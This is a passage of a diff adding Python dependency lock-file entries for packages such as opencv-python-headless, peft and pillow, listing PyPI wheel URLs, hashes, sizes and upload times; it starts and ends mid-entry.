hash = "sha256:3e0a6f0a37994ec6ce5f59e936be21d5d6384a4556f2d2da9c2f9c5dc948394c", size = 32568914, upload-time = "2026-02-05T07:01:51.989Z" }, + { url = "https://files.pythonhosted.org/packages/21/76/9417a6aef9def70e467a5bf560579f816148a4c658b7d525581b356eda9e/opencv_python_headless-4.13.0.92-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5c8cfc8e87ed452b5cecb9419473ee5560a989859fe1d10d1ce11ae87b09a2cb", size = 33703709, upload-time = "2026-02-05T10:24:46.469Z" }, + { url = "https://files.pythonhosted.org/packages/92/ce/bd17ff5772938267fd49716e94ca24f616ff4cb1ff4c6be13085108037be/opencv_python_headless-4.13.0.92-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0525a3d2c0b46c611e2130b5fdebc94cf404845d8fa64d2f3a3b679572a5bd22", size = 56016764, upload-time = "2026-02-05T10:26:48.904Z" }, + { url = "https://files.pythonhosted.org/packages/8f/b4/b7bcbf7c874665825a8c8e1097e93ea25d1f1d210a3e20d4451d01da30aa/opencv_python_headless-4.13.0.92-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:eb60e36b237b1ebd40a912da5384b348df8ed534f6f644d8e0b4f103e272ba7d", size = 35010236, upload-time = "2026-02-05T10:28:11.031Z" }, + { url = "https://files.pythonhosted.org/packages/4b/33/b5db29a6c00eb8f50708110d8d453747ca125c8b805bc437b289dbdcc057/opencv_python_headless-4.13.0.92-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0bd48544f77c68b2941392fcdf9bcd2b9cdf00e98cb8c29b2455d194763cf99e", size = 60391106, upload-time = "2026-02-05T10:30:14.236Z" }, + { url = "https://files.pythonhosted.org/packages/fb/c3/52cfea47cd33e53e8c0fbd6e7c800b457245c1fda7d61660b4ffe9596a7f/opencv_python_headless-4.13.0.92-cp37-abi3-win32.whl", hash = "sha256:a7cf08e5b191f4ebb530791acc0825a7986e0d0dee2a3c491184bd8599848a4b", size = 30812232, upload-time = "2026-02-05T07:02:29.594Z" }, + { url = "https://files.pythonhosted.org/packages/4a/90/b338326131ccb2aaa3c2c85d00f41822c0050139a4bfe723cfd95455bd2d/opencv_python_headless-4.13.0.92-cp37-abi3-win_amd64.whl", hash = "sha256:77a82fe35ddcec0f62c15f2ba8a12ecc2ed4207c17b0902c7a3151ae29f37fb6", size = 40070414, upload-time = "2026-02-05T07:02:26.448Z" }, +] + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "paginate" +version = "0.5.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ec/46/68dde5b6bc00c1296ec6466ab27dddede6aec9af1b99090e1107091b3b84/paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945", size = 19252, upload-time = "2024-08-25T14:17:24.139Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/96/04b8e52da071d28f5e21a805b19cb9390aa17a47462ac87f5e2696b9566d/paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591", size = 13746, upload-time = "2024-08-25T14:17:22.55Z" }, +] + +[[package]] +name = "pathspec" +version = "0.12.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ca/bc/f35b8446f4531a7cb215605d100cd88b7ac6f44ab3fc94870c120ab3adbf/pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712", size = 51043, upload-time = "2023-12-10T22:30:45Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cc/20/ff623b09d963f88bfde16306a54e12ee5ea43e9b597108672ff3a408aad6/pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08", size = 31191, upload-time = "2023-12-10T22:30:43.14Z" }, +] + +[[package]] +name = "peft" +version = "0.17.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "accelerate" }, + { name = "huggingface-hub" }, + { name = "numpy" }, + { name = "packaging" }, + { name = "psutil" }, + { name = "pyyaml" }, + { name = "safetensors" }, + { name = "torch" }, + { name = "tqdm" }, + { name = "transformers" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/70/b8/2e79377efaa1e5f0d70a497db7914ffd355846e760ffa2f7883ab0f600fb/peft-0.17.1.tar.gz", hash = "sha256:e6002b42517976c290b3b8bbb9829a33dd5d470676b2dec7cb4df8501b77eb9f", size = 568192, upload-time = "2025-08-21T09:25:22.703Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/49/fe/a2da1627aa9cb6310b6034598363bd26ac301c4a99d21f415b1b2855891e/peft-0.17.1-py3-none-any.whl", hash = "sha256:3d129d64def3d74779c32a080d2567e5f7b674e77d546e3585138216d903f99e", size = 504896, upload-time = "2025-08-21T09:25:18.974Z" }, +] + +[[package]] +name = "pillow" +version = "12.1.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1f/42/5c74462b4fd957fcd7b13b04fb3205ff8349236ea74c7c375766d6c82288/pillow-12.1.1.tar.gz", hash = "sha256:9ad8fa5937ab05218e2b6a4cff30295ad35afd2f83ac592e68c0d871bb0fdbc4", size = 46980264, upload-time = "2026-02-11T04:23:07.146Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1d/30/5bd3d794762481f8c8ae9c80e7b76ecea73b916959eb587521358ef0b2f9/pillow-12.1.1-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1f1625b72740fdda5d77b4def688eb8fd6490975d06b909fd19f13f391e077e0", size = 5304099, upload-time = "2026-02-11T04:20:06.13Z" }, + { url = "https://files.pythonhosted.org/packages/bd/c1/aab9e8f3eeb4490180e357955e15c2ef74b31f64790ff356c06fb6cf6d84/pillow-12.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:178aa072084bd88ec759052feca8e56cbb14a60b39322b99a049e58090479713", size = 4657880, upload-time = "2026-02-11T04:20:09.291Z" }, + { url = "https://files.pythonhosted.org/packages/f1/0a/9879e30d56815ad529d3985aeff5af4964202425c27261a6ada10f7cbf53/pillow-12.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b66e95d05ba806247aaa1561f080abc7975daf715c30780ff92a20e4ec546e1b", size = 6222587, upload-time = "2026-02-11T04:20:10.82Z" }, + { url = "https://files.pythonhosted.org/packages/5a/5f/a1b72ff7139e4f89014e8d451442c74a774d5c43cd938fb0a9f878576b37/pillow-12.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:89c7e895002bbe49cdc5426150377cbbc04767d7547ed145473f496dfa40408b", size = 8027678, upload-time = "2026-02-11T04:20:12.455Z" }, + { url = "https://files.pythonhosted.org/packages/e2/c2/c7cb187dac79a3d22c3ebeae727abee01e077c8c7d930791dc592f335153/pillow-12.1.1-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a5cbdcddad0af3da87cb16b60d23648bc3b51967eb07223e9fed77a82b457c4", size = 6335777, upload-time = "2026-02-11T04:20:14.441Z" }, + { url = "https://files.pythonhosted.org/packages/0c/7b/f9b09a7804ec7336effb96c26d37c29d27225783dc1501b7d62dcef6ae25/pillow-12.1.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9f51079765661884a486727f0729d29054242f74b46186026582b4e4769918e4", size = 7027140, upload-time = "2026-02-11T04:20:16.387Z" }, + { url = "https://files.pythonhosted.org/packages/98/b2/2fa3c391550bd421b10849d1a2144c44abcd966daadd2f7c12e19ea988c4/pillow-12.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99c1506ea77c11531d75e3a412832a13a71c7ebc8192ab9e4b2e355555920e3e", size = 6449855, upload-time = "2026-02-11T04:20:18.554Z" }, + { url = "https://files.pythonhosted.org/packages/96/ff/9caf4b5b950c669263c39e96c78c0d74a342c71c4f43fd031bb5cb7ceac9/pillow-12.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:36341d06738a9f66c8287cf8b876d24b18db9bd8740fa0672c74e259ad408cff", size = 7151329, upload-time = "2026-02-11T04:20:20.646Z" }, + { url = "https://files.pythonhosted.org/packages/7b/f8/4b24841f582704da675ca535935bccb32b00a6da1226820845fac4a71136/pillow-12.1.1-cp310-cp310-win32.whl", hash = "sha256:6c52f062424c523d6c4db85518774cc3d50f5539dd6eed32b8f6229b26f24d40", size = 6325574, upload-time = "2026-02-11T04:20:22.43Z" }, + { url = "https://files.pythonhosted.org/packages/f8/f9/9f6b01c0881d7036063aa6612ef04c0e2cad96be21325a1e92d0203f8e91/pillow-12.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:c6008de247150668a705a6338156efb92334113421ceecf7438a12c9a12dab23", size = 7032347, upload-time = "2026-02-11T04:20:23.932Z" }, + { url = "https://files.pythonhosted.org/packages/79/13/c7922edded3dcdaf10c59297540b72785620abc0538872c819915746757d/pillow-12.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:1a9b0ee305220b392e1124a764ee4265bd063e54a751a6b62eff69992f457fa9", size = 2453457, upload-time = "2026-02-11T04:20:25.392Z" }, + { url = "https://files.pythonhosted.org/packages/2b/46/5da1ec4a5171ee7bf1a0efa064aba70ba3d6e0788ce3f5acd1375d23c8c0/pillow-12.1.1-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:e879bb6cd5c73848ef3b2b48b8af9ff08c5b71ecda8048b7dd22d8a33f60be32", size = 5304084, upload-time = "2026-02-11T04:20:27.501Z" }, + { url = "https://files.pythonhosted.org/packages/78/93/a29e9bc02d1cf557a834da780ceccd54e02421627200696fcf805ebdc3fb/pillow-12.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:365b10bb9417dd4498c0e3b128018c4a624dc11c7b97d8cc54effe3b096f4c38", size = 4657866, upload-time = "2026-02-11T04:20:29.827Z" }, + { url = "https://files.pythonhosted.org/packages/13/84/583a4558d492a179d31e4aae32eadce94b9acf49c0337c4ce0b70e0a01f2/pillow-12.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d4ce8e329c93845720cd2014659ca67eac35f6433fd3050393d85f3ecef0dad5", size = 6232148, upload-time = "2026-02-11T04:20:31.329Z" }, + { url = "https://files.pythonhosted.org/packages/d5/e2/53c43334bbbb2d3b938978532fbda8e62bb6e0b23a26ce8592f36bcc4987/pillow-12.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc354a04072b765eccf2204f588a7a532c9511e8b9c7f900e1b64e3e33487090", size = 8038007, upload-time = "2026-02-11T04:20:34.225Z" }, + { url = "https://files.pythonhosted.org/packages/b8/a6/3d0e79c8a9d58150dd98e199d7c1c56861027f3829a3a60b3c2784190180/pillow-12.1.1-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7e7976bf1910a8116b523b9f9f58bf410f3e8aa330cd9a2bb2953f9266ab49af", size = 6345418, upload-time = "2026-02-11T04:20:35.858Z" }, + { url = "https://files.pythonhosted.org/packages/a2/c8/46dfeac5825e600579157eea177be43e2f7ff4a99da9d0d0a49533509ac5/pillow-12.1.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:597bd9c8419bc7c6af5604e55847789b69123bbe25d65cc6ad3012b4f3c98d8b", size = 7034590, upload-time = "2026-02-11T04:20:37.91Z" }, + { url = "https://files.pythonhosted.org/packages/af/bf/e6f65d3db8a8bbfeaf9e13cc0417813f6319863a73de934f14b2229ada18/pillow-12.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2c1fc0f2ca5f96a3c8407e41cca26a16e46b21060fe6d5b099d2cb01412222f5", size = 6458655, upload-time = "2026-02-11T04:20:39.496Z" }, + { url = "https://files.pythonhosted.org/packages/f9/c2/66091f3f34a25894ca129362e510b956ef26f8fb67a0e6417bc5744e56f1/pillow-12.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:578510d88c6229d735855e1f278aa305270438d36a05031dfaae5067cc8eb04d", size = 7159286, upload-time = "2026-02-11T04:20:41.139Z" }, + { url = "https://files.pythonhosted.org/packages/7b/5a/24bc8eb526a22f957d0cec6243146744966d40857e3d8deb68f7902ca6c1/pillow-12.1.1-cp311-cp311-win32.whl", hash = "sha256:7311c0a0dcadb89b36b7025dfd8326ecfa36964e29913074d47382706e516a7c", size = 6328663, upload-time = "2026-02-11T04:20:43.184Z" }, + { url = "https://files.pythonhosted.org/packages/31/03/bef822e4f2d8f9d7448c133d0a18185d3cce3e70472774fffefe8b0ed562/pillow-12.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:fbfa2a7c10cc2623f412753cddf391c7f971c52ca40a3f65dc5039b2939e8563", size = 7031448, upload-time = "2026-02-11T04:20:44.696Z" }, + { url = "https://files.pythonhosted.org/packages/49/70/f76296f53610bd17b2e7d31728b8b7825e3ac3b5b3688b51f52eab7c0818/pillow-12.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:b81b5e3511211631b3f672a595e3221252c90af017e399056d0faabb9538aa80", size = 2453651, upload-time = "2026-02-11T04:20:46.243Z" }, + { url = "https://files.pythonhosted.org/packages/07/d3/8df65da0d4df36b094351dce696f2989bec731d4f10e743b1c5f4da4d3bf/pillow-12.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ab323b787d6e18b3d91a72fc99b1a2c28651e4358749842b8f8dfacd28ef2052", size = 5262803, upload-time = "2026-02-11T04:20:47.653Z" }, + { url = "https://files.pythonhosted.org/packages/d6/71/5026395b290ff404b836e636f51d7297e6c83beceaa87c592718747e670f/pillow-12.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:adebb5bee0f0af4909c30db0d890c773d1a92ffe83da908e2e9e720f8edf3984", size = 4657601, upload-time = "2026-02-11T04:20:49.328Z" }, + { url = "https://files.pythonhosted.org/packages/b1/2e/1001613d941c67442f745aff0f7cc66dd8df9a9c084eb497e6a543ee6f7e/pillow-12.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bb66b7cc26f50977108790e2456b7921e773f23db5630261102233eb355a3b79", size = 6234995, upload-time = "2026-02-11T04:20:51.032Z" }, + { url = "https://files.pythonhosted.org/packages/07/26/246ab11455b2549b9233dbd44d358d033a2f780fa9007b61a913c5b2d24e/pillow-12.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aee2810642b2898bb187ced9b349e95d2a7272930796e022efaf12e99dccd293", size = 8045012, upload-time = "2026-02-11T04:20:52.882Z" }, + { url = "https://files.pythonhosted.org/packages/b2/8b/07587069c27be7535ac1fe33874e32de118fbd34e2a73b7f83436a88368c/pillow-12.1.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a0b1cd6232e2b618adcc54d9882e4e662a089d5768cd188f7c245b4c8c44a397", size = 6349638, upload-time = "2026-02-11T04:20:54.444Z" }, + { url = "https://files.pythonhosted.org/packages/ff/79/6df7b2ee763d619cda2fb4fea498e5f79d984dae304d45a8999b80d6cf5c/pillow-12.1.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7aac39bcf8d4770d089588a2e1dd111cbaa42df5a94be3114222057d68336bd0", size = 7041540, upload-time = "2026-02-11T04:20:55.97Z" }, + { url = "https://files.pythonhosted.org/packages/2c/5e/2ba19e7e7236d7529f4d873bdaf317a318896bac289abebd4bb00ef247f0/pillow-12.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ab174cd7d29a62dd139c44bf74b698039328f45cb03b4596c43473a46656b2f3", size = 6462613, upload-time = "2026-02-11T04:20:57.542Z" }, + { url = "https://files.pythonhosted.org/packages/03/03/31216ec124bb5c3dacd74ce8efff4cc7f52643653bad4825f8f08c697743/pillow-12.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:339ffdcb7cbeaa08221cd401d517d4b1fe7a9ed5d400e4a8039719238620ca35", size = 7166745, upload-time = "2026-02-11T04:20:59.196Z" }, + { url = "https://files.pythonhosted.org/packages/1f/e7/7c4552d80052337eb28653b617eafdef39adfb137c49dd7e831b8dc13bc5/pillow-12.1.1-cp312-cp312-win32.whl", hash = "sha256:5d1f9575a12bed9e9eedd9a4972834b08c97a352bd17955ccdebfeca5913fa0a", size = 6328823, upload-time = "2026-02-11T04:21:01.385Z" }, + { url = "https://files.pythonhosted.org/packages/3d/17/688626d192d7261bbbf98846fc98995726bddc2c945344b65bec3a29d731/pillow-12.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:21329ec8c96c6e979cd0dfd29406c40c1d52521a90544463057d2aaa937d66a6", size = 7033367, upload-time = "2026-02-11T04:21:03.536Z" }, + { url = "https://files.pythonhosted.org/packages/ed/fe/a0ef1f73f939b0eca03ee2c108d0043a87468664770612602c63266a43c4/pillow-12.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:af9a332e572978f0218686636610555ae3defd1633597be015ed50289a03c523", size = 2453811, upload-time = "2026-02-11T04:21:05.116Z" }, + { url = "https://files.pythonhosted.org/packages/d5/11/6db24d4bd7685583caeae54b7009584e38da3c3d4488ed4cd25b439de486/pillow-12.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:d242e8ac078781f1de88bf823d70c1a9b3c7950a44cdf4b7c012e22ccbcd8e4e", size = 4062689, upload-time = "2026-02-11T04:21:06.804Z" }, + { url = "https://files.pythonhosted.org/packages/33/c0/ce6d3b1fe190f0021203e0d9b5b99e57843e345f15f9ef22fcd43842fd21/pillow-12.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:02f84dfad02693676692746df05b89cf25597560db2857363a208e393429f5e9", size = 4138535, upload-time = "2026-02-11T04:21:08.452Z" }, + { url = "https://files.pythonhosted.org/packages/a0/c6/d5eb6a4fb32a3f9c21a8c7613ec706534ea1cf9f4b3663e99f0d83f6fca8/pillow-12.1.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:e65498daf4b583091ccbb2556c7000abf0f3349fcd57ef7adc9a84a394ed29f6", size = 3601364, upload-time = "2026-02-11T04:21:10.194Z" }, + { url = "https://files.pythonhosted.org/packages/14/a1/16c4b823838ba4c9c52c0e6bbda903a3fe5a1bdbf1b8eb4fff7156f3e318/pillow-12.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c6db3b84c87d48d0088943bf33440e0c42370b99b1c2a7989216f7b42eede60", size = 5262561, upload-time = "2026-02-11T04:21:11.742Z" }, + { url = "https://files.pythonhosted.org/packages/bb/ad/ad9dc98ff24f485008aa5cdedaf1a219876f6f6c42a4626c08bc4e80b120/pillow-12.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8b7e5304e34942bf62e15184219a7b5ad4ff7f3bb5cca4d984f37df1a0e1aee2", size = 4657460, upload-time = "2026-02-11T04:21:13.786Z" }, + { url = "https://files.pythonhosted.org/packages/9e/1b/f1a4ea9a895b5732152789326202a82464d5254759fbacae4deea3069334/pillow-12.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:18e5bddd742a44b7e6b1e773ab5db102bd7a94c32555ba656e76d319d19c3850", size = 6232698, upload-time = "2026-02-11T04:21:15.949Z" }, + { url = "https://files.pythonhosted.org/packages/95/f4/86f51b8745070daf21fd2e5b1fe0eb35d4db9ca26e6d58366562fb56a743/pillow-12.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc44ef1f3de4f45b50ccf9136999d71abb99dca7706bc75d222ed350b9fd2289", size = 8041706, upload-time = "2026-02-11T04:21:17.723Z" }, + { url = "https://files.pythonhosted.org/packages/29/9b/d6ecd956bb1266dd1045e995cce9b8d77759e740953a1c9aad9502a0461e/pillow-12.1.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5a8eb7ed8d4198bccbd07058416eeec51686b498e784eda166395a23eb99138e", size = 6346621, upload-time = "2026-02-11T04:21:19.547Z" }, + { url = "https://files.pythonhosted.org/packages/71/24/538bff45bde96535d7d998c6fed1a751c75ac7c53c37c90dc2601b243893/pillow-12.1.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47b94983da0c642de92ced1702c5b6c292a84bd3a8e1d1702ff923f183594717", size = 7038069, upload-time = "2026-02-11T04:21:21.378Z" }, + { url = "https://files.pythonhosted.org/packages/94/0e/58cb1a6bc48f746bc4cb3adb8cabff73e2742c92b3bf7a220b7cf69b9177/pillow-12.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:518a48c2aab7ce596d3bf79d0e275661b846e86e4d0e7dec34712c30fe07f02a", size = 6460040, upload-time = "2026-02-11T04:21:23.148Z" }, + { url = "https://files.pythonhosted.org/packages/6c/57/9045cb3ff11eeb6c1adce3b2d60d7d299d7b273a2e6c8381a524abfdc474/pillow-12.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a550ae29b95c6dc13cf69e2c9dc5747f814c54eeb2e32d683e5e93af56caa029", size = 7164523, upload-time = "2026-02-11T04:21:25.01Z" }, + { url = "https://files.pythonhosted.org/packages/73/f2/9be9cb99f2175f0d4dbadd6616ce1bf068ee54a28277ea1bf1fbf729c250/pillow-12.1.1-cp313-cp313-win32.whl", hash = "sha256:a003d7422449f6d1e3a34e3dd4110c22148336918ddbfc6a32581cd54b2e0b2b", size = 6332552, upload-time = "2026-02-11T04:21:27.238Z" }, + { url = "https://files.pythonhosted.org/packages/3f/eb/b0834ad8b583d7d9d42b80becff092082a1c3c156bb582590fcc973f1c7c/pillow-12.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:344cf1e3dab3be4b1fa08e449323d98a2a3f819ad20f4b22e77a0ede31f0faa1", size = 7040108, upload-time = "2026-02-11T04:21:29.462Z" }, + { url = "https://files.pythonhosted.org/packages/d5/7d/fc09634e2aabdd0feabaff4a32f4a7d97789223e7c2042fd805ea4b4d2c2/pillow-12.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:5c0dd1636633e7e6a0afe7bf6a51a14992b7f8e60de5789018ebbdfae55b040a", size = 2453712, upload-time = "2026-02-11T04:21:31.072Z" }, + { url = "https://files.pythonhosted.org/packages/19/2a/b9d62794fc8a0dd14c1943df68347badbd5511103e0d04c035ffe5cf2255/pillow-12.1.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0330d233c1a0ead844fc097a7d16c0abff4c12e856c0b325f231820fee1f39da", size = 5264880, upload-time = "2026-02-11T04:21:32.865Z" }, + { url = "https://files.pythonhosted.org/packages/26/9d/e03d857d1347fa5ed9247e123fcd2a97b6220e15e9cb73ca0a8d91702c6e/pillow-12.1.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:5dae5f21afb91322f2ff791895ddd8889e5e947ff59f71b46041c8ce6db790bc", size = 4660616, upload-time = "2026-02-11T04:21:34.97Z" }, + { url = "https://files.pythonhosted.org/packages/f7/ec/8a6d22afd02570d30954e043f09c32772bfe143ba9285e2fdb11284952cd/pillow-12.1.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2e0c664be47252947d870ac0d327fea7e63985a08794758aa8af5b6cb6ec0c9c", size = 6269008, upload-time = "2026-02-11T04:21:36.623Z" }, + { url = "https://files.pythonhosted.org/packages/3d/1d/6d875422c9f28a4a361f495a5f68d9de4a66941dc2c619103ca335fa6446/pillow-12.1.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:691ab2ac363b8217f7d31b3497108fb1f50faab2f75dfb03284ec2f217e87bf8", size = 8073226, upload-time = "2026-02-11T04:21:38.585Z" }, + { url = "https://files.pythonhosted.org/packages/a1/cd/134b0b6ee5eda6dc09e25e24b40fdafe11a520bc725c1d0bbaa5e00bf95b/pillow-12.1.1-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9e8064fb1cc019296958595f6db671fba95209e3ceb0c4734c9baf97de04b20", size = 6380136, upload-time = "2026-02-11T04:21:40.562Z" }, + { url = "https://files.pythonhosted.org/packages/7a/a9/7628f013f18f001c1b98d8fffe3452f306a70dc6aba7d931019e0492f45e/pillow-12.1.1-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:472a8d7ded663e6162dafdf20015c486a7009483ca671cece7a9279b512fcb13", size = 7067129, upload-time = "2026-02-11T04:21:42.521Z" }, + { url = "https://files.pythonhosted.org/packages/1e/f8/66ab30a2193b277785601e82ee2d49f68ea575d9637e5e234faaa98efa4c/pillow-12.1.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:89b54027a766529136a06cfebeecb3a04900397a3590fd252160b888479517bf", size = 6491807, upload-time = "2026-02-11T04:21:44.22Z" }, + { url = "https://files.pythonhosted.org/packages/da/0b/a877a6627dc8318fdb84e357c5e1a758c0941ab1ddffdafd231983788579/pillow-12.1.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:86172b0831b82ce4f7877f280055892b31179e1576aa00d0df3bb1bbf8c3e524", size = 7190954, upload-time = "2026-02-11T04:21:46.114Z" }, + { url = "https://files.pythonhosted.org/packages/83/43/6f732ff85743cf746b1361b91665d9f5155e1483817f693f8d57ea93147f/pillow-12.1.1-cp313-cp313t-win32.whl", hash = "sha256:44ce27545b6efcf0fdbdceb31c9a5bdea9333e664cda58a7e674bb74608b3986", size = 6336441, upload-time = "2026-02-11T04:21:48.22Z" }, + { url = "https://files.pythonhosted.org/packages/3b/44/e865ef3986611bb75bfabdf94a590016ea327833f434558801122979cd0e/pillow-12.1.1-cp313-cp313t-win_amd64.whl", hash = "sha256:a285e3eb7a5a45a2ff504e31f4a8d1b12ef62e84e5411c6804a42197c1cf586c", size = 7045383, upload-time = "2026-02-11T04:21:50.015Z" }, + { url = "https://files.pythonhosted.org/packages/a8/c6/f4fb24268d0c6908b9f04143697ea18b0379490cb74ba9e8d41b898bd005/pillow-12.1.1-cp313-cp313t-win_arm64.whl", hash = "sha256:cc7d296b5ea4d29e6570dabeaed58d31c3fea35a633a69679fb03d7664f43fb3", size = 2456104, upload-time = "2026-02-11T04:21:51.633Z" }, + { url = "https://files.pythonhosted.org/packages/03/d0/bebb3ffbf31c5a8e97241476c4cf8b9828954693ce6744b4a2326af3e16b/pillow-12.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:417423db963cb4be8bac3fc1204fe61610f6abeed1580a7a2cbb2fbda20f12af", size = 4062652, upload-time = "2026-02-11T04:21:53.19Z" }, + { url = "https://files.pythonhosted.org/packages/2d/c0/0e16fb0addda4851445c28f8350d8c512f09de27bbb0d6d0bbf8b6709605/pillow-12.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:b957b71c6b2387610f556a7eb0828afbe40b4a98036fc0d2acfa5a44a0c2036f", size = 4138823, upload-time = "2026-02-11T04:22:03.088Z" }, + { url = "https://files.pythonhosted.org/packages/6b/fb/6170ec655d6f6bb6630a013dd7cf7bc218423d7b5fa9071bf63dc32175ae/pillow-12.1.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:097690ba1f2efdeb165a20469d59d8bb03c55fb6621eb2041a060ae8ea3e9642", size = 3601143, upload-time = "2026-02-11T04:22:04.909Z" }, + { url = "https://files.pythonhosted.org/packages/59/04/dc5c3f297510ba9a6837cbb318b87dd2b8f73eb41a43cc63767f65cb599c/pillow-12.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:2815a87ab27848db0321fb78c7f0b2c8649dee134b7f2b80c6a45c6831d75ccd", size = 5266254, upload-time = "2026-02-11T04:22:07.656Z" }, + { url = "https://files.pythonhosted.org/packages/05/30/5db1236b0d6313f03ebf97f5e17cda9ca060f524b2fcc875149a8360b21c/pillow-12.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:f7ed2c6543bad5a7d5530eb9e78c53132f93dfa44a28492db88b41cdab885202", size = 4657499, upload-time = "2026-02-11T04:22:09.613Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/008d2ca0eb612e81968e8be0bbae5051efba24d52debf930126d7eaacbba/pillow-12.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = 